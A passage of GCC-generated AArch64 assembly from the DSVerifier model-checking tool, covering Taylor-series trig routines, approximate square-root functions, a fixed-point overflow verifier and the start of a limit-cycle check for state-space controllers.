ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 4
ble .L886
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 41781441855488
movk x0, 0x4116, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 5
ble .L886
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 9517647527936
movk x0, 0x4183, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 6
ble .L886
adrp x0, .LC39
add x0, x0, :lo12:.LC39
bl puts
.L886:
ldr d0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE123:
.size sinTyl, .-sinTyl
.section .rodata
.align 3
.LC40:
.string "Warning: Function cosTyl from bmc/core/filter_functions.h: Precision must be a positive integer. Assuming 0 precision"
.text
.align 2
.global cosTyl
.type cosTyl, %function
cosTyl:
.LFB124:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str d0, [sp, 24]
str w0, [sp, 20]
ldr d0, [sp, 24]
fmul d0, d0, d0
str d0, [sp, 48]
ldr w0, [sp, 20]
cmp w0, 0
bge .L889
adrp x0, .LC40
add x0, x0, :lo12:.LC40
bl puts
str wzr, [sp, 20]
.L889:
ldr w0, [sp, 20]
cmp w0, 0
blt .L890
str xzr, [sp, 56]
ldr d0, [sp, 56]
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 0
ble .L890
fmov d0, 1.0e+0
str d0, [sp, 56]
fmov d0, 1.0e+0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 1
ble .L890
ldr d0, [sp, 48]
str d0, [sp, 56]
fmov d0, 2.0e+0
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 2
ble .L890
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
fmov d0, 2.4e+1
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 3
ble .L890
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 140737488355328
movk x0, 0x4086, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 4
ble .L890
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 193514046488576
movk x0, 0x40e3, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 5
ble .L890
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 192964290674688
movk x0, 0x414b, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 6
ble .L890
adrp x0, .LC39
add x0, x0, :lo12:.LC39
bl puts
.L890:
ldr d0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE124:
.size cosTyl, .-cosTyl
.section .rodata
.align 3
.LC41:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision representation exceeded. Assuming maximum precision of 4"
.text
.align 2
.global atanTyl
.type atanTyl, %function
atanTyl:
.LFB125:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str d0, [sp, 24]
str w0, [sp, 20]
ldr d0, [sp, 24]
fmul d0, d0, d0
str d0, [sp, 48]
ldr w0, [sp, 20]
cmp w0, 0
bge .L893
adrp x0, .LC38
add x0, x0, :lo12:.LC38
bl puts
str wzr, [sp, 20]
.L893:
ldr w0, [sp, 20]
cmp w0, 0
blt .L894
str xzr, [sp, 56]
ldr d0, [sp, 56]
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 0
ble .L894
ldr d0, [sp, 24]
str d0, [sp, 56]
ldr d0, [sp, 56]
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 1
ble .L894
ldr d0, [sp, 48]
str d0, [sp, 56]
fmov d0, 3.0e+0
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 2
ble .L894
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
fmov d0, 5.0e+0
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 3
ble .L894
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
fmov d0, 7.0e+0
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 6
ble .L894
adrp x0, .LC41
add x0, x0, :lo12:.LC41
bl puts
.L894:
ldr d0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE125:
.size atanTyl, .-atanTyl
.align 2
.global sqrt1
.type sqrt1, %function
sqrt1:
.LFB126:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
ldr s1, [sp, 12]
fmov s0, 5.0e-1
fmul s0, s1, s0
str s0, [sp, 28]
ldr s0, [sp, 12]
str s0, [sp, 24]
ldr w0, [sp, 24]
asr w0, w0, 1
mov w1, 23007
movk w1, 0x5f37, lsl 16
sub w0, w1, w0
str w0, [sp, 24]
ldr s1, [sp, 24]
ldr s0, [sp, 12]
fmul s1, s1, s0
ldr s2, [sp, 24]
ldr s0, [sp, 28]
fmul s2, s2, s0
ldr s0, [sp, 24]
fmul s0, s2, s0
fmov s2, 1.5e+0
fsub s0, s2, s0
fmul s0, s1, s0
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE126:
.size sqrt1, .-sqrt1
.align 2
.global sqrt2
.type sqrt2, %function
sqrt2:
.LFB127:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
ldr s0, [sp, 12]
str s0, [sp, 24]
ldr w0, [sp, 24]
asr w1, w0, 1
mov w0, 532676608
add w0, w1, w0
str w0, [sp, 24]
ldr s0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE127:
.size sqrt2, .-sqrt2
.align 2
.global fabsolut
.type fabsolut, %function
fabsolut:
.LFB128:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, 12]
ldr s0, [sp, 12]
fcmpe s0, #0.0
bmi .L904
b .L901
.L904:
ldr s0, [sp, 12]
fneg s0, s0
str s0, [sp, 12]
.L901:
ldr s0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE128:
.size fabsolut, .-fabsolut
.align 2
.type sqrt3, %function
sqrt3:
.LFB129:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str s0, [sp, 28]
fmov s0, 1.0e+1
ldr s1, [sp, 28]
fdiv s0, s1, s0
str s0, [sp, 32]
adrp x0, .LC42
ldr d0, [x0, #:lo12:.LC42]
str d0, [sp, 48]
str wzr, [sp, 40]
ldr s0, [sp, 28]
fcmp s0, #0.0
bne .L906
str wzr, [sp, 32]
b .L907
.L906:
mov w0, 1
str w0, [sp, 36]
b .L908
.L912:
ldr w0, [sp, 40]
cmp w0, 0
bne .L910
ldr s0, [sp, 32]
fmul s0, s0, s0
ldr s1, [sp, 28]
fsub s0, s1, s0
fcvt d1, s0
ldr s0, [sp, 32]
fcvt d0, s0
fadd d0, d0, d0
fdiv d0, d1, d0
fcvt s0, d0
str s0, [sp, 44]
ldr s1, [sp, 32]
ldr s0, [sp, 44]
fadd s0, s1, s0
str s0, [sp, 32]
ldr s0, [sp, 32]
fmul s0, s0, s0
ldr s1, [sp, 28]
fsub s0, s1, s0
fcvt d0, s0
str d0, [sp, 56]
ldr d0, [sp, 56]
fcvt s0, d0
bl fabsolut
fcvt d0, s0
ldr d1, [sp, 48]
fcmpe d1, d0
bge .L914
b .L910
.L914:
mov w0, 1
str w0, [sp, 40]
.L910:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L908:
ldr w0, [sp, 36]
cmp w0, 19
ble .L912
.L907:
ldr s0, [sp, 32]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE129:
.size sqrt3, .-sqrt3
.align 2
.global verify_overflow
.type verify_overflow, %function
verify_overflow:
.LFB130:
.cfi_startproc
stp x29, x30, [sp, -496]!
.cfi_def_cfa_offset 496
.cfi_offset 29, -496
.cfi_offset 30, -488
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -480
.cfi_offset 20, -472
.cfi_offset 21, -464
.cfi_offset 22, -456
.cfi_offset 23, -448
.cfi_offset 24, -440
.cfi_offset 25, -432
.cfi_offset 26, -424
.cfi_offset 27, -416
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 488]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 360]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L916:
cmp sp, x0
beq .L917
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L916
.L917:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L918
str xzr, [sp, 1024]
.L918:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 368]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 376]
sxtw x0, w1
mov x14, x0
mov x15, 0
lsr x0, x14, 58
lsl x11, x15, 6
orr x11, x0, x11
lsl x10, x14, 6
sxtw x0, w1
mov x16, x0
mov x17, 0
lsr x0, x16, 58
lsl x13, x17, 6
orr x13, x0, x13
lsl x12, x16, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L919:
cmp sp, x0
beq .L920
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L919
.L920:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L921
str xzr, [sp, 1024]
.L921:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 384]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 368]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 384]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
bl fxp_double_to_fxp
str x0, [x29, 392]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
bl fxp_double_to_fxp
str x0, [x29, 400]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 408]
sxtw x0, w1
mov x24, x0
mov x25, 0
lsr x0, x24, 58
lsl x21, x25, 6
orr x21, x0, x21
lsl x20, x24, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x23, x27, 6
orr x23, x0, x23
lsl x22, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L922:
cmp sp, x0
beq .L923
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L922
.L923:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L924
str xzr, [sp, 1024]
.L924:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 416]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 424]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 344]
ldr x4, [x29, 344]
orr x0, x0, x4
str x0, [x29, 344]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 336]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 328]
ldr x4, [x29, 328]
orr x0, x0, x4
str x0, [x29, 328]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 320]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L925:
cmp sp, x1
beq .L926
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L925
.L926:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L927
str xzr, [sp, 1024]
.L927:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 432]
str wzr, [x29, 352]
b .L928
.L931:
ldr x0, [x29, 416]
ldrsw x1, [x29, 352]
str xzr, [x0, x1, lsl 3]
bl nondet_int
sxtw x2, w0
ldr x0, [x29, 432]
ldrsw x1, [x29, 352]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 432]
ldrsw x1, [x29, 352]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 392]
cmp x1, x0
bgt .L929
ldr x0, [x29, 432]
ldrsw x1, [x29, 352]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 400]
cmp x1, x0
blt .L929
mov w0, 1
b .L930
.L929:
mov w0, 0
.L930:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w0, [x29, 352]
add w0, w0, 1
str w0, [x29, 352]
.L928:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 352]
cmp w1, w0
blt .L931
str wzr, [x29, 356]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 356]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 440]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 312]
ldr x4, [x29, 312]
orr x1, x1, x4
str x1, [x29, 312]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 304]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 296]
ldr x4, [x29, 296]
orr x1, x1, x4
str x1, [x29, 296]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 288]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L932:
cmp sp, x1
beq .L933
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L932
.L933:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L934
str xzr, [sp, 1024]
.L934:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 448]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 456]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 280]
ldr x4, [x29, 280]
orr x1, x1, x4
str x1, [x29, 280]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 272]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 264]
ldr x4, [x29, 264]
orr x1, x1, x4
str x1, [x29, 264]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 256]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L935:
cmp sp, x1
beq .L936
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L935
.L936:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L937
str xzr, [sp, 1024]
.L937:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 464]
ldr w0, [x29, 356]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 472]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 248]
ldr x4, [x29, 248]
orr x1, x1, x4
str x1, [x29, 248]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 240]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 232]
ldr x4, [x29, 232]
orr x1, x1, x4
str x1, [x29, 232]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 224]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L938:
cmp sp, x1
beq .L939
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L938
.L939:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L940
str xzr, [sp, 1024]
.L940:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 480]
str wzr, [x29, 352]
b .L941
.L942:
ldr x0, [x29, 448]
ldrsw x1, [x29, 352]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 352]
add w0, w0, 1
str w0, [x29, 352]
.L941:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 352]
cmp w1, w0
blt .L942
str wzr, [x29, 352]
b .L943
.L944:
ldr x0, [x29, 464]
ldrsw x1, [x29, 352]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 352]
add w0, w0, 1
str w0, [x29, 352]
.L943:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
ldr w1, [x29, 352]
cmp w1, w0
blt .L944
str wzr, [x29, 352]
b .L945
.L946:
ldr x0, [x29, 480]
ldrsw x1, [x29, 352]
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 352]
add w0, w0, 1
str w0, [x29, 352]
.L945:
ldr w1, [x29, 352]
ldr w0, [x29, 356]
cmp w1, w0
blt .L946
str wzr, [x29, 352]
b .L947
.L948:
ldr x0, [x29, 432]
ldrsw x1, [x29, 352]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 464]
mov x0, x3
bl shiftL
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
ldr x3, [x29, 384]
ldr x2, [x29, 368]
ldr x1, [x29, 464]
ldr x0, [x29, 448]
bl fxp_direct_form_1
mov x2, x0
ldr x0, [x29, 416]
ldrsw x1, [x29, 352]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 416]
ldrsw x1, [x29, 352]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 448]
mov x0, x3
bl shiftL
ldr w0, [x29, 352]
add w0, w0, 1
str w0, [x29, 352]
.L947:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 352]
cmp w1, w0
blt .L948
adrp x0, overflow_mode
add x0, x0, :lo12:overflow_mode
mov w1, 1
str w1, [x0]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
mov w1, w0
ldr x0, [x29, 416]
bl fxp_verify_overflow_array
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 488]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L950
bl __stack_chk_fail
.L950:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 496
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE130:
.size verify_overflow, .-verify_overflow
.section .rodata
.align 3
.LC43:
.string "#matrix STATES -------------------------------"
.align 3
.LC44:
.string "#matrix OUTPUTS -------------------------------"
.align 3
.LC45:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
.text
.align 2
.global verify_limit_cycle_state_space
.type verify_limit_cycle_state_space, %function
verify_limit_cycle_state_space:
.LFB131:
.cfi_startproc
sub sp, sp, #560
.cfi_def_cfa_offset 560
stp x29, x30, [sp]
.cfi_offset 29, -560
.cfi_offset 30, -552
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 552]
mov x1, 0
str wzr, [sp, 32]
b .L952
.L955:
str wzr, [sp, 28]
b .L953
.L954:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 32]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 32]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 32]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 32]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L953:
ldr w0, [sp, 28]
cmp w0, 3
ble .L954
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L952:
ldr w0, [sp, 32]
cmp w0, 3
ble .L955
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 296
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 512
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 256
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 424
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 768
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 384
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 424
add x1, sp, 296
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 640
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
str wzr, [sp, 24]
mov w0, 1
str w0, [sp, 32]
b .L956
.L961:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 296
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 512
adrp x0, :got:_controller
ldr x4, [x0, #:got_lo12:_controller]
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 424
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 768
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 128
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
add x2, sp, 424
add x1, sp, 296
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 512
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 296
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
